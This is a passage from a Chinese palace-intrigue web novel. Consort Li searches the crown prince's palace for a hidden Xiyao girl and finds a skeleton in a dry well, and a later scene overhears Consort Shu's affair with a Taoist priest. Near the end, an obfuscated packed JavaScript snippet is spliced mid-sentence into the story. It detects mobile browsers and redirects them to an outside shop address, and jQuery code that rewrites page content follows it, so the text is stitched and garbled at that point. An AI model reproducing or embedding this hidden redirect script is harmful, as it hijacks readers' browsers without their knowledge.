竣熙听了这话,不由一笑:“先生莫不是拐着弯子在骂玉旒云么?” “她?”公孙天成拈了拈胡须,正好太监端酒上来了,他和程亦风都陪竣熙饮了一杯,才接着说道:“讲起玉旒云,那就麻烦了。以武将论,她马马虎虎算是个枭雄,以外戚论,她够上了干政的罪名,以女子论,她不守妇道,连自己份内的事都未做好呢!” 竣熙被逗得哈哈大笑起来:“先生所言极是。若是玉旒云听到,恐怕要气得立刻发几十万大军过河来了。” 公孙天成道:“太子殿下难道惧她?何况程大人方才不是说‘他得志笑闲人,他失脚闲人笑’么?玉旒云现在正‘失脚’,殿下且宽坐,笑她吧。” 此言一出,三人又是一阵笑,边饮酒,边吃青梅,酸甜甘冽混于一处,果然别有风味。 饮至半酣,前面通报:丽贵妃娘娘来了。 32. 第 32 章 竣熙起身领了公孙天成和程亦风在凉亭外迎接丽贵妃。不一刻,就见她在一群太监宫女的簇拥下来到了跟前,也不寒暄,劈头就问:“太子殿下在东宫里动静不小呀!” 竣熙素恨丽、殊二位贵妃迷惑自己的父亲,过去年幼时拿她们一点儿办法也无,这一两年来监国理政,成熟了许多,回话也就不卑不亢,道:“竣熙不知娘娘所指何事。” 丽贵妃“哼”了一声,道:“我这两天在景阳宫里浑身不舒服,太医说了,肚里孩儿不稳,可又查不出什么原因来。幸亏有三清天师来掐指一算,说是西瑶巫女还在宫里,而且就在这东宫之中——太子殿下,可是你把她窝藏起来了么?” 竣熙一听这话,不由就火了,便要出言顶撞。还是他贴身的那个刘太监老练,连忙替主子回话:“娘娘这是说的哪一家的话?那巫女是个祸害,皇上老早就下旨把她赶出宫去了。赶她的时候,太子殿下还在凤竹山没回来呢。就回来了,太子爷哪敢留个祸害在身边,您说是不?” 丽贵妃“啪”的一个耳光就打了过去:“我跟你家主子说话,你来插什么嘴?都是你们这些贼性不改的奴才,好好的主子都给你们教坏了——你打量我不知道呢?那巫女逃进了奉先殿,你们这班奴才没人敢去抓,然后你家主子进去了一下,这巫女就不见了——可不就是你们撺掇着太子爷做糊涂事么?你还……” 竣熙见她在东宫出手打人,立刻发作了,打断了她的后半截话,道:“我做什么事还轮不到奴才们来教,也轮不到娘娘你来教。是什么规矩,你到我东宫来教训人?” 丽贵妃就是来找竣熙的茬儿的,听他顶撞自己,反而更有理由了,“哎呀”了一声,道:“太子殿下,你听听你刚才那口气……你以前可是有礼又孝顺的孩子,怎么为了这样一个不争气的奴才顶撞起长辈来?我看你八成也是被那西瑶巫女施了法,迷了心智。现在回头,为时未晚——你快快把那害人精交出来,我找胡天师来给你驱驱邪。” “她不是害人精!”竣熙冲动地喊了一句,接着立刻后悔了——这不就等于招认了凤凰儿在东宫么? 丽贵妃等的就是这破绽,无声地冷笑了一下,道:“看来太子殿下果真认识这个巫女了?皇上圣旨要把她赶出去,我今天就替皇上把这事办了——还不去搜!” 这是命令她带来的那些年轻太监呢。 竣熙见她在东宫如此放肆,涨红了脸,喝道:“谁敢搜!” “殿下——”公孙天成连忙止住他,“有道是‘白日不做亏心事,半夜不怕鬼敲门’。东宫之中没有什么巫女,就让娘娘搜一搜,有什么干系?无非娘娘花些力气把这里翻过来,殿下再花些力气把这里翻回去罢了。” 竣熙被他一提醒,才也冷静了下来:符雅方才不是把凤凰儿带走了么!便让这丽贵妃搜一搜,看她还说什么!当下也就道:“好,就让他们搜一搜。我们正在此处吃酒聊天,娘娘有雅兴么?” 丽贵妃看了他们三人一眼,嘴角挂着冷笑,朝太监们一挥手:“还不去搜?找仔细点儿!”接着自己走到凉亭里来,道:“既然太子殿下盛情邀请,我却之不恭,就听听你们都聊些什么吧!” 竣熙厌恶她的嚣张模样,暗想:一会儿找不着,有你好看!也就在石桌边坐了下来,道:“程大人,公孙先生,都来坐下,咱们继续喝酒——坐呀,在东宫里,我请的客人,没有站着的道理。” 丽贵妃翻了翻白眼——本来打算让程亦风和公孙天成站着的,先便宜他们吧。 竣熙是有心要气丽贵妃,招呼太监道:“多拿些酒来,也多摘些青梅来,他们慢慢搜,我和程大人、公孙先生慢慢讲诗文——娘娘,你是要喝酒呢,还是要吃点青梅?” 丽贵妃皱皱眉头:“都不要了。我怕酸。太医说喝酒对孩子不好。你们乐你们的吧,我就这儿看着。” 竣熙哼一声,擎了酒杯道:“公孙先生,方才你说到玉旒云不守妇道,却不知这妇道是何?” 公孙天成道:“《孟子?滕文公下》云:‘以顺为本者,妾妇之道也。’故,妇人之道乃顺从丈夫,孝敬公婆。” “哦,是这样。”竣熙道,“我母后那里有一本《女论语》,公主们都要读,官家小姐也要读。我看其中第一条就是‘立身’,言道:‘凡为女子,先学立身,立身之法,惟务清贞。清则身洁,贞则身荣。行莫回头,语莫掀唇。坐莫动膝,立莫摇裙。喜莫大笑,怒莫高声。’此后还有些,我也记不确了,不知先生读过么?” 公孙天成道:“未读过,那是女人家的书。” 竣熙笑:“我也是看来玩的。贵妃娘娘出身显贵,想必是背得滚瓜烂熟了,不知方才竣熙说的对不对?” 丽贵妃不笨,知道竣熙用那《女论语》变着方儿骂自己,就冷笑不答话。 竣熙也便冷笑,道:“程大人还不曾和玉旒云正面交锋过吧?不知玉旒云把这《女论语》中的规矩破了几条?但依竣熙看,方才公孙先生说她不守妇道,却也不全对,因为她基本可以算是一个男人,那就是一位天下枭雄。如今把她的名字从缺德妇人的名册中划去,不知紧接着后面要争天下第一缺德妇人位的是哪一个!” 这也骂得太厉害了些!程亦风暗暗为竣熙捏了把汗:如今应该只求把丽贵妃这瘟神送走就好,不要多惹麻烦。他就笑着来打岔:“殿下这么关心玉旒云,无非是因为方才说到‘英雄’。而之所以会说到英雄,还不是因为吃青梅的缘故?其实梅子和酒也不见得要连在一起,梅子在古人诗中毕竟还是跟风月联系得比较多啊!”说时,就连连引了几首诗词,什么“手拈青梅无处问,一春长闷损”,什么“便鞚墙头归骑,青梅已老”,一边说,一边就把眼看着□□,希望丽贵妃的人赶紧来回报说“找不着”,那就万事大吉了! 果然没多时,有丽贵妃手下的太监回来了,不过还带了个人。程亦风细一看,登时傻了眼:这不是符雅么?她怎么还在这里? 太监把符雅“押”到了跟前,丽贵妃立刻就有了得色:“哟,符小姐不在皇后那边,到这儿来做什么?”不待符雅回答,她自己又接着道:“符小姐还是说了吧——方才我从景阳宫出来的时候正撞见你。你见了本宫就像是见了鬼似的,一个劲儿地跑,跑上这儿来做什么呀?” 符雅从从容容:“娘娘真是火眼金睛,符雅当时跑得是很快,没来得及跟娘娘请安。其实符雅是前两天在东宫花园里丢了皇后娘娘赏的一柄扇子,今天她老人家问起来,符雅只好先扯个谎搪塞,再急急跑来找啦。贵妃娘娘既然撞破,符雅只好认了。娘娘若要告诉皇后她老人家,符雅也没办法。” “哼!”丽贵妃瞪了她一眼,“好你个胆大的符雅,皇后娘娘喜欢你,你就不知道‘死’字怎么写了吧?” “丽贵妃!”竣熙怒喝道,“符姐姐怎容你随便骂?” 丽贵妃就仿佛没听见,“倏”地站了起来,盯着符雅道:“你别装了,开始那西瑶丫头献舞的时候就是你跟她嘀嘀咕咕。这宫里除了你,谁还懂她的话?鬼知道你跟她说了什么!窝藏她的事,我看你也有份!你是知道本宫来抓这妖女了,就赶来帮太子把她藏起来了吧?” 可符雅仍然面色不变,道:“娘娘可真是冤枉死符雅了。为了一把扇子扯个谎,我还有那胆子,窝藏西瑶巫女,就是借我个胆子,我也不敢哪!” 丽贵妃道:“你还要嘴硬?快快说出你把那丫头藏哪里了,本宫或许把你从轻发落。” 符雅苦着脸:“我实是不知,莫非娘娘要我扯谎骗您么?” “你——”丽贵妃指着符雅,手指微微发抖,“好,你狠!不过,你以为你不说,本宫就找不到她了么?咱们走着瞧!” 竣熙这时已忍无可忍,拍案而起:“你把东宫当成了什么地方?马上带着你的人,滚出去!” “你……你叫我……”丽贵妃也恼红了脸。 正这时候,不少她的太监都回来了,纷纷说道:“没找着。” 竣熙更加得理不饶人:“既然没找着,还在这里做什么?还不把你们主子送回景阳宫去?” 丽贵妃就是杵着不走,目光飞快地点算着她的手下:“还有没回来的呢!还不定谁笑到最后!” 且说着,又有两个太监来了,道:“娘娘,奴才知道巫女在哪儿。” 竣熙、程亦风都不禁一愣。丽贵妃可得意了:“在哪儿?找着了怎么不带来?” “奴才们人不够。”太监回答,“又怕巫女施法术半途跑了,所以留了人在那儿看着,就先回来禀报娘娘,请娘娘带了其他人一齐去捉拿巫女。” 丽贵妃喜形于色:“好,你前面带路——太子殿下,也一起来么?” 竣熙恐怕他们真的寻着了凤凰儿,担忧得面色也变了,有心就用太子的权利,硬是把人拦住,拦得一时算提时,拦得一刻算一刻。然而旁边公孙天成轻轻地提醒:“殿下,小心中了激将之计。就跟他们去看看,到时再应变不迟。” 竣熙没了主意:“可是……万一……万一……”情形已不容他有旁的选择,丽贵妃已经洋洋得意地领着一众太监在前边走了,他也只好跟了上去。公孙天成紧随在侧,以防年轻人冲动惹祸。 程亦风和符雅落在后面——程亦风也是故意要和众人拉开一段距离,他问符雅道:“符小姐,怎么又转回来了?凤凰儿呢?” 符雅这时才露出了焦急之色:“唉,这个太子爷小祖宗,自己家里出了内鬼也不知道!肯定是东宫有人向丽贵妃告密,她才这么大张旗鼓地来了。我本打算带着凤凰儿从偏门跑出去,谁知到了门口,见那儿有几个眼生的太监想是丽贵妃早就布置好了的。我想,反正凤凰儿离了东宫再没旁的安身之处,还不如藏在这里安全……” “那你把她藏哪儿了?”程亦风急急问道,“要是太子爷身边有内鬼,藏在这里岂不也危险得紧?” 符雅道:“事到如今,随便藏着总比把她送到丽贵妃跟前强吧?” “那现在这架势……”程亦风恐怕那内鬼已经把凤凰儿的藏身之地泄露了。 符雅皱着眉头:“狡兔三窟,看他们找着哪一窟吧!” 只能跟着大队人马一起走,不时来到花园深处的一口井边。井栏上的琉璃花样许多已经掉了颜色,井口更盖了个木头盖子,想来是许久不用,这盖子也有些朽坏了。 太监向丽贵妃报道:“奴才看见符小姐把那巫女藏在这枯井里了。” 丽贵妃那好厉害的单凤眼一转,目光刺到符雅脸上:“符小姐,你还有什么话说?” 符雅摇头:“娘娘,这可冤枉死符雅了!符雅当真是来找扇子的。什么西瑶巫女,连头发也没见着一根,藏她在这口枯井里,就更无从说起了。娘娘明察。” 丽贵妃冷笑。 那太监又道:“这枯井的木盖上原本押着石头,符小姐给搬开了。”手一指,果然井边上睡着块石头。 符雅这时已不像先前镇定,“扑通”跪下了,道:“娘娘明察,符雅一个女子怎么可能搬开那么大一块石头?” 丽贵妃听那太监附耳说了几句,“嗤”地冷笑道:“你搬不动,你不会差遣人帮你搬么?还不快把盖子打开了,把小妖女抓出来——我看这丫头还怎么抵赖!” 太监们都应“遵命”,十来人同时扑向那枯井。竣熙见符雅如此表现,心知凤凰儿多半就在井中,什么也顾不得了,就要冲上去救心上人。公孙天成眼明手快,一把紧紧拽住:“殿下,小不忍则宽大谋!殿下三思!” “还有什么大谋?”竣熙哑着声音,“没有了她,就没有了我。还有什么大谋?”一壁说,一壁挣扎。少年人毕竟力气大,公孙天成眼见着就拉不住了。 而这时,就听那围做一团的太监中有人报道:“娘娘,井里没见着人。” “诶?”竣熙一怔。程亦风也吃了一惊,望着符雅。 丽贵妃怒冲冲地:“看清楚了?” 太监们道:“真是没人,都是树枝。” “我不信!”丽贵妃道,“你们把树枝都弄出来,到下面看看。看仔细了。妖女就是变成个耗子,你们也要把她抓出来!”这边命令着,那边又来逼问符雅:“你给本宫老实交代,你到底把巫女藏到哪里了?” 符雅还是那副受了天大冤枉的模样:“娘娘就是逼死符雅,也交代不出来呀。符雅真的只是来找扇子的。” 程亦风看此情形,约略猜出丽贵妃是中了符雅的计了。这女子,调虎离山,好智谋,不过就是差点儿把他和太子都吓个半死。 竣熙自然也悟出了奥妙,心里实在解气。他年少城府不深,心中想着,面上就流露了,口中也逞强说了:“哈哈,既然娘娘以为这巫女法里高强,能变成耗子,那变个其他的什么也有可能。不瞒娘娘,我这东宫里旁的不多,就是蛇虫鼠蚁成灾,娘娘要是能把这些妖魔都抓了去,竣熙感激不尽!” 丽贵妃也知中计,吃了哑巴亏,气得满面通红。 可竣熙还没报复完,接着笑道:“公孙先生,竣熙又想起方才那‘论英雄’的事了。你说要做好了份内的事,再做份外的事,且此事要造福黎民,保守社稷的,那才是英雄。竣熙现有一疑:俗话说,老鼠过街人人喊打,可拿耗子的狗,算不算是英雄呢?” 这话骂得忒有露骨大胆,丽贵妃先前还一直顾忌着太子储君的身份,这时终于撕破脸来了:“你……你敢这样和本宫说话?本宫就去皇上那里……去皇上那里……” 正说着,忽然井边的太监中一声惊呼:“娘娘,这井里有……有东西!” 猛一个峰回路转,丽贵妃喜得两眼放光,而竣熙、程亦风、公孙天成和符雅都愣在原地。 “什么东西?”丽贵妃得意地,“快拉上来!” “回娘娘,”那太监声音打着颤儿,“是……是一副骷髅!” “什么?”在场的人都惊诧不已。 “你……你先拉上来!”丽贵妃道,“还有这种事?” 太监答声“遵命”,继续用树枝在井里折腾,后来又让一个身量苗条的同伴爬下井去,果然就拉上一副白骨来,不偏不倚正落在了丽贵妃的面前,吓得她惊叫一声:“作死了么!”闪到旁边去了。一直跪着的符雅也惊得跳了起来,退后数步。 “符雅!”丽贵妃喝道,“你快给本宫交代,这是什么?” “这……”符雅此时不用假装也有满面委屈之色,“我怎么知道……” 丽贵妃找不着凤凰儿,拿这个作文章也一样:“大胆符雅,你敢在禁宫之中害人性命,又毁尸灭迹——还不把她拿下了!” “娘娘!”程亦风挡到符雅身前,“这具尸体分明在井中年月已久,怎么可能是符小姐所为?” “她……”丽贵妃怔了怔,“她伙同那巫女,害了人,又立刻把人变成一堆白骨!” “这太荒唐了!”竣熙斥道,“东宫里什么时候成了你的一言堂?你接下来是不是要说是我命令符姐姐杀人毁尸?” 丽贵妃被他堵得一时没答上来,片刻才道:“东宫之中无缘无故出了一具白骨,这事恐怕……” “恐怕怎么样?”竣熙步步进逼,“后宫里的事还轮不到娘娘你还做主吧?你不要忘了,母仪天下的是我母后!” 丽贵妃看闹成这样,不得不死硬到底了:“好,那就请皇后娘娘到这里来看看,东宫里出了命案了,要怎么处置!” 竣熙不理亏,一副“谁怕谁”的样子,吩咐自己的太监:“还不去请我母后来?” 太监应声,脚不沾地飞跑而去。东宫花园里的人较着劲儿呢,一个也不离开。程亦风低声问符雅:“这……究竟是怎么一回事?” 符雅也就低声回答他:“你问我,我问谁去?我带凤凰儿寻藏身的地方,看到有两个太监跟着,寻思他们心里有鬼,八成是景阳宫的耳目,就骗他们到井边来,让他们搬石头,当他们的面儿叫凤凰儿钻下去。可等他们一走,我又叫凤凰儿出来,换地方躲了……本来只打算诓诓丽贵妃,谁知道闹出这么大事来?” 程亦风看情形,估计大家心里都是一团迷雾——那白骨在枯井了恐怕没有二十年也有十年,不晓得是何时的公案。不过这样也好,注意力都集中在这白骨之上,就没人去问凤凰儿的下落了。 “凤凰儿现在在哪儿?” “我把她扮了小太监。”符雅道,“抹了一脸黑,在小厨房里烧火呢。一时半会儿,不会想到那儿的。” 这很好,程亦风点点头:“符小姐妙计,程某替太子殿下先谢谢你。” “扑哧”符雅笑了:“太子殿下要谢我,我一会儿自然讨赏去。程大人替他做什么?再说,这声东击西的计策,符雅不过是照搬大青河之战罢了。” “啊……”程亦风也笑了——真没想到自己在这种情形下还笑得出。 大家等了半个多时辰,终于见到皇后凤驾了。方要跪迎,皇后已经远远地叫太监吆喝道:“都别多礼了,什么大事,先说清楚!” 丽贵妃要恶人先告状,只是皇后面前不能说太子的坏话,只有揪着符雅不放,说她窝藏西瑶巫女,施法杀人毁尸,藏匿在枯井之中,如此如此,这般这般。 皇后只淡淡地看了她一眼:“丽贵妃,这禁宫之中,东西可以乱吃,但是话不可以乱说,尤其这妖魔鬼怪的话是犯忌讳的,你莫非忘了?” 丽贵妃嘟囔着:“臣妾怎么敢?不过那骷髅还在那儿呢,可不是臣妾造谣。而且,臣妾宫里的太监亲眼见到符雅把那枯井盖打开,这也不是造谣。” 皇后走到跟前,看了一眼地上的尸骨,问:“符雅,丽贵妃说的可是实话?你到太子这里来做什么?” “母后!”竣熙来替符雅圆谎,“符姐姐丢了那天您赏赐的扇子,她怕您生气,就回来找。儿臣本来叫人帮她,但是她怕那些太监笨手笨脚把扇子弄坏了,所以非要亲自找不可。她不过是路过这口井,就被人冤枉了。” 丽贵妃怒道:“殿下,哪个奴才教你这样撒谎?你原来……” “放肆!”皇后厉声喝道,“丽贵妃,本宫的儿子还轮不到你来教。” “可是娘娘——”丽贵妃道,“符雅确实叫人把井上的石头搬开了。她教太子说谎。臣妾有人证——”说时吩咐:“那两个人呢?还不叫他们来?” 她的太监应声去找,转一圈回来,说是没找着。丽贵妃怒道:“怎么会没找着?”程亦风听得暗自好笑:出卖主子的太监,如何敢到皇后跟前来找死? 皇后按了按太阳穴,不甚耐烦的样子:“丽贵妃,你何事要跟这无依无靠的符雅过不去?本宫还没问你,你兴师动众地到东宫来抓什么西瑶巫女,是谁跟你说有巫女在这儿的?” “是三清天师。”丽贵妃回答,“臣妾最近身子不爽,三清天师说了,是西瑶巫女在作祟,所以臣妾……这也是为了龙裔好啊……” “荒唐!”皇后打断她,“皇上跟三清天师修道,那是皇上的事,是他们男人的事。你一个女人家跟着搅和什么?让本宫来告诉你你为什么‘身子不爽’吧——怀了胎的女人,就该好好在房里安胎,多吃点补品,多听点儿管弦丝竹,时不时在门口花园儿里散散步,最忌讳满肚子不相干的事,勾心斗角,奔波劳碌!” 竣熙听母亲骂丽贵妃,心中好不解气,道:“嘻,人家说‘心怀鬼胎’,娘娘小心呀……” “竣熙!”皇后沉声打断,“哪有这样跟长辈说话的?还不道歉!” “哦……”竣熙老大不情愿,从牙缝里挤出一句对不起。 “那这尸体……”丽贵妃显然还不甘心。 皇后转过脸来冷冷地看着她:“丽贵妃,我知道你很想坐我的这个位子。不过,你知道皇后应该怎样治理六宫吗?皇后应该让六宫没有事端,这样皇上才能放心在外头处理朝政。这白骨还不知是什么时候到这井里去的,说不定的真宗爷的时候就在了,也可能神宗爷的时候就在了,现在要追查,不是要闹得六宫鸡犬不宁么?” 丽贵妃一愕。皇后已经吩咐道:“还不快把这里收拾干净了?以后谁也不许提起这事来。若我听到一点儿流言蜚语,不管是主子还是奴才,别怪我不讲情面。” 太监们哪敢不从命,手脚十分利索,立刻就动作了起来。 “丽贵妃,”皇后道,“你还站在这儿干什么?还不回景阳宫安胎去?” 丽贵妃气得脸都绿了,可是别无他法,只好恨恨地向皇后和太子告辞,领着手下走了。 竣熙看她的背影渐渐远了,感觉终于出了胸中的一口恶气,拉着母亲的袖子撒娇道:“毕竟还是母后厉害!儿臣怎么赶都赶不走的瘟神,母后几句话就打发了。母后,到里面喝茶用点心吧。” “不急。”皇后面色严肃,“她的事完了,你的还没完呢!” 竣熙一呆,不明就理。而符雅已知是凤凰儿的事瞒不过去了,连忙跪倒:“娘娘不要怪太子,那西瑶姑娘的确是臣女藏的。臣女说了许多胡话蒙骗皇后娘娘,请娘娘责罚!” 皇后看着她:“你这丫头……那什么巫女的事,也是你编的吧?” 符雅碰头道:“臣女不敢撒谎,当时情急,就……” 这理由实在是不好说出口——情急什么?怕元酆帝糟蹋一个无辜的少女么?但是皇后却并不在乎,这个喜爱美色的丈夫,她忍受了许多年了,不管符雅为了什么理由,都是间接地帮了自己。于是她笑道:“你也真的胆大,不知道欺君之罪是要满门抄斩的么?” 符雅听皇后的语气,知道是饶了自己了,也就笑道:“符雅现在没有满门,就只有一个人。用我一个人的脑袋,换六宫一个安宁,也值得了!” “伶牙俐齿!”皇后道,“起来吧!”又问竣熙:“你学什么不好,学你父王!那丫头藏哪儿了?带出来见我。” 竣熙呆了呆:“母后,凤凰儿不是巫女……她跟儿臣很合得来……” “合不来还能在你东宫里住这么久么?”皇后道,“叫你带她出来见我!难道母后还能把她吃了?” 竣熙看母亲的表情没有一点儿责怪的意思,当下大喜:“是,是!符姐姐,凤凰儿呢?” 符雅自然告诉他在厨房里躲着。竣熙即喜道:“母后稍待,儿臣这就找凤凰儿来!”说时,已飞奔而去。 皇后摇摇头:“程大人,这可叫你见笑了。小孩子的事……” “娘娘说哪里话!”程亦风忙道,“臣身为太子太保,未能早些将凤凰儿的事报告娘娘,也有罪,请娘娘责罚。” 皇后笑道:“的确是有人有罪,不过不是程大人你。丽贵妃刚才说要找的什么人证,是什么人?现在躲到哪里去了?” “回娘娘,”符雅道,“是东宫里的两个太监。臣女差遣他们搬石头时问了他们的姓名,一个叫王忠,一个叫李诚。” “好哇!”皇后冷笑,“王忠、李诚——我看他们的忠诚都不知道忠到谁那儿去了!”她叫身边的太监道:“告诉汪总管一声,见到这两个奴才立刻带到本宫跟前来。” “是。”那太监应了,就去照办。 皇后和众人举步一边往回走,一边等竣熙领凤凰儿来。才走到凉亭边儿,就看到这对少年情侣了。凤凰儿果然是小太监打扮,连上涂着黑灰,像的花猫一般。但是待走到了跟前,就可以看到那对小鹿般的眼睛,明丽灵活。 竣熙道:“这是我母后,心肠可好了,你认识么?” 凤凰儿的确见过皇后一面,就点了点头,却不行礼。旁边有太监提醒:“还不下跪?”她茫然不懂。 皇后笑了笑:“太子都已经开口说我心肠好,我怎么能不拿出点儿‘心肠好’的样子来?小姑娘,你过来,本宫看看你。” 凤凰儿望望竣熙,后者笑笑,拉着她一起走到皇后的面前。皇后就拿了块帕子在凤凰儿面上轻轻擦了几下,端详着,道:“那天没瞧仔细,现在看看,果然是天仙一般的人物儿。不知咱们中原话,她学得怎么样了?” 竣熙道:“符姐姐一直在教。凤凰儿很聪明,说还说不好,但是你跟她说话,她能猜出意思来。” “哦。”皇后点点头,“符雅,那你可有得忙了,要用心好好儿教。” “是。”符雅垂首答应。 皇后又道:“你过来,我还有话吩咐呢。” “是。”符雅小心翼翼,跟皇后走到一边。 皇后脸上的微笑已经消失了:“符雅,这祸你可闯得不小。你看太子那模样,被这西瑶姑娘迷得,都不知道东南西北了。” 符雅不出声,听着教训。 皇后道:“丽贵妃打的什么主意,你这么聪明,总知道吧?太子不能行错一步路,说错一句话。现在弄个西瑶女子住在东宫,算什么?万一有一天,太子犯起糊涂来,要立这个女子做太子妃,那可如何是好?” 符雅嗫嚅:“臣女……” 皇后叹了口气:“真是有其父必有其子,我知道皇儿要任性起来,你也没有办法。不过,这事儿你得帮我收拾。” 符雅道:“臣女愚钝,请皇后娘娘示下。” 皇后道:“要作太子妃,那是决不可能的事。不过,皇上能有三宫六院,将来太子登基,要立她做个什么贵妃也无伤大雅。只是,这事不能叫皇上知道,其中原因,不需要我告诉你吧。” “不需要。”符雅回答。 皇后道:“那好。我指一个法子给你。你把这姑娘领回家去,随便安个什么远房亲戚的关系给她,教她说中原话,教她宫里的规矩,把她变一个楚国小姐。事成之后,再领进宫来——也不一定要领进宫来,如果那时候太子已经忘了她,我总不会亏待她,自然找个亲贵大臣王孙公子把她嫁了。” “是……”符雅很不情愿,但也不能不答应。 皇后道:“太子那边怎么说,你很聪明,一定做得好。本宫就管如何不走漏风声,你看如何?” “是……”符雅心中直叫苦。 皇后笑了笑:“好,那就这么着吧。你虽闯了祸,却也立了功。将来本宫总不亏待你!” 一行人便离开东宫各自回家去。程亦风和公孙天成才走到宫门口,就见到猴老三夫妇拦了上来:“哎呀,程大人!公孙先生!你们两个到宫里吃酒吃得快活,可把我们急死了!”当下把白云观里的事说了一遍。 程亦风不由惊道:“那现在如何?” 猴老三道:“大哥他们在那里继续探察,我们先回来给你报个信。要是那妖道有什么动静,你也好有个准备——程大人,见到了妖道了么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728613|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程亦风摇摇头:“一下午都在东宫里,只有丽贵妃……唉!”这些宫廷争端还是不足与外人道。 辣仙姑见他神色为难,道:“程大人,公孙先生,莫非你们另有部署,咱们兄弟打草惊蛇了么?” “没有。”公孙天成笑着摇摇头,“既然已经打草惊蛇,咱们不如就看看这惊了的蛇怎么活动——咦,那不是你们大当家么!” 大家看他手指处,果然邱震霆一人一马疾驰而来。 “可叫俺好找!”邱震霆道,“白云观出事了——是大事哩,程大人你快点带兵去,把那儿给围了,这下可抓着大鱼了!” “怎么讲?”程亦风问。 邱震霆方要回答,公孙天成却道:“这里如何是说话的地方?挡在皇宫门口成什么事?那边有个茶楼,咱们先上那里去。” 邱震霆道:“先生,这当儿还喝茶呀?再喝,大鱼就跑啦!” 程亦风虽然也心急,但是公孙天成的话也有道理,于是道:“咱们还是挪一挪——边走边说。” 邱震霆直瞪眼,但也只得跳下马来,边走,边把事情的经过跟程亦风讲了。 原来猴老三夫妻走后没多久,杀鹿帮众人就悄悄潜回到白云观附近,打算计划一下入夜后的行动。而这时,就看到一顶富丽堂皇的轿子抬到了观门口。大家心里都嘀咕:莫非正主儿到了? 可是见那轿帘儿掀起来,却走下一位美艳妇人,看那打扮非富即贵,带了个丫鬟拎了一篮子檀香花果,似乎是来烧香的。 大家都好生奇怪。邱震霆一挥手:“走,管不了那么多了,进去看看。” 于是管不着当先,“噌”地上了墙头,接着上了屋顶,大家也都跟在后面,借着巨大的屋脊,隐藏身形。邱震霆还怕崔抱月坏事,一直也不放开她,提着走。一行人看那妇人进了前院,立刻就有小道士迎了上来:“您怎么来了?” 那妇人瞪了她一眼:“怎么?你师傅风流快活,所以就不让我来了?” 小道士道:“哪儿的话……这……这……” 妇人不理他,一径走进太极殿去了。 崔抱月一听到那胡奉玄“风流快活”,立刻就要挣开邱震霆下去为民除害。邱震霆气得扯下半幅衣袖来堵住她的嘴,低声威胁道:“敢坏爷爷的事,爷爷揍扁你!”招呼大家上了太极殿的屋顶。 管不着做这些事早就驾轻就熟,没声没息地揭开了几片瓦,下面就情形就一览无余。只见那妇人在殿中站定了,也不烧香也不磕头,四下里乱看。没多时,胡奉玄就从后面急匆匆地迎了出来:“哎哟我的祖奶奶,您怎么大白天的跑来了?” 这妇人道:“怎么?我的事什么时候轮到你管?” 胡奉玄涎着脸:“哎哟,真是……我哪儿敢管您的事?您要来,我这儿不是蓬荜生辉么?不过,今天这时候不好,刚有人来闹过事儿,不太平。” “闹事?”妇人道,“闹什么事?什么人这么大胆?不是你走漏了风声吧?” 胡奉玄道:“是一个泼辣婆娘和一伙扮成什么富商的人,大概就是些江湖人氏。附近的乡民好像发现我帮师兄搜罗姑娘的事,就找了这么个自命不凡的女人来寻我的晦气。不过,已经散了。” 妇人点了点头,若有所思:“发现了……发现了他的事也好,反正又不是发现了咱俩的事。”说时,一双眼睛瞄着胡奉玄,尽是春情。 胡奉玄也是两眼含笑,不过又不无担忧地道:“我师兄的事,也就是丽贵妃娘娘的事……那好歹是您的姐姐,发现了,也不太好吧?” 房上诸人听了这话,不由得大吃了一竟:这妇人竟是丽贵妃是妹妹?杀鹿帮众人在京城呆了些时日,宫里的事也听说了不少,知道丽贵妃的妹妹就是殊贵妃,那也是皇上身边的红人。不想,她竟在此山野道观跟个道士偷情——听胡奉玄说到他“师兄”,似乎和丽贵妃有一腿。呵!邱震霆等人具想:姐妹俩一路货色! 殊贵妃“哼”了一声:“我姐姐?当初一起进宫的时候,说是有福同享有难同当,后来又说什么谁先飞上枝头,就提携另外一个。我花了多大工夫才把你师兄给弄进去,现在她称心如意了,就想把我给甩了——你不看看她看那德行!把我惹火了,我到皇上跟前告她一状,管叫她吃不了,兜着走!” 原来是闹窝里反,邱震霆冷笑。 胡奉玄笑道:“你的心这么毒!我还头一次知道。” 殊贵妃瞪了他一眼,道:“怎么啦?她不仁我不义。” 胡奉玄笑嘻嘻地上来握着她的手:“不怎么,其实她装怀孕,迟早要被皇上知道的——来,咱们后面说话去。” 殊贵妃一边跟他朝后走,一边道:“那可不?要不她怎么发急了,一个劲儿催我来看看找着那些姑娘了没,要赶紧偷运进宫去给你师兄,巴望着她们中间谁的肚子争气,早早怀上个野种,她就好偷龙转凤了——我呸!竟把我当成宫女使唤了!” 杀鹿帮中人见这一对奸夫□□已走出了自己视线,就急忙跟上去。 管不着看他二人沿着回廊朝后面去了,低声笑道:“嘿,看样子是到那间房里去了!” 瞧他那暧昧的神气,大家都知道指的就是找到春宫图的那间。崔抱月红了脸,继续挣扎。邱震霆即低声骂:“少给老子找麻烦!安分点儿!” 殊贵妃和胡奉玄果然就进了管不着所说的房间。众人如法炮制,又在房顶上开了个口,朝下张望。似乎就是这两人在太极殿上说话的功夫,小道士已经把水果点心都送到房里来了,殊贵妃坐着,胡奉玄拿了一颗颗的樱桃喂她,两人眉来眼去,看得房上众人也都尴尬起来。崔抱月费了好大工夫吐出了嘴里的布,低声怒斥道:“还不放开我!” 邱震霆叫下面那一对给招得,也脸红脖子粗,但不忘警告一声:“娘的,要是不安分,老子可不客气。” 崔抱月不说话,只是瞪了他一眼,表示答应。邱震霆这才松开了她。 房里的人开始宽衣解带了,房上的这一群,因为有个女人在旁边,男人们也都不好意思再看,只附耳在瓦上,细听动静。 殊贵妃道:“我那个姐姐,又是吃补药,又是借种,机关算尽,可惜自己的肚皮不争气,现在不仅借种,还想借人家的肚皮。也就只有那老头子才会上她的当。” 胡奉玄道:“也不见得就是你姐姐的肚皮不争气,怎知我师兄不是个‘银样蜡枪头’?要是换了我——” “呸!”殊贵妃啐道,“你敢去试,我先废了你……” 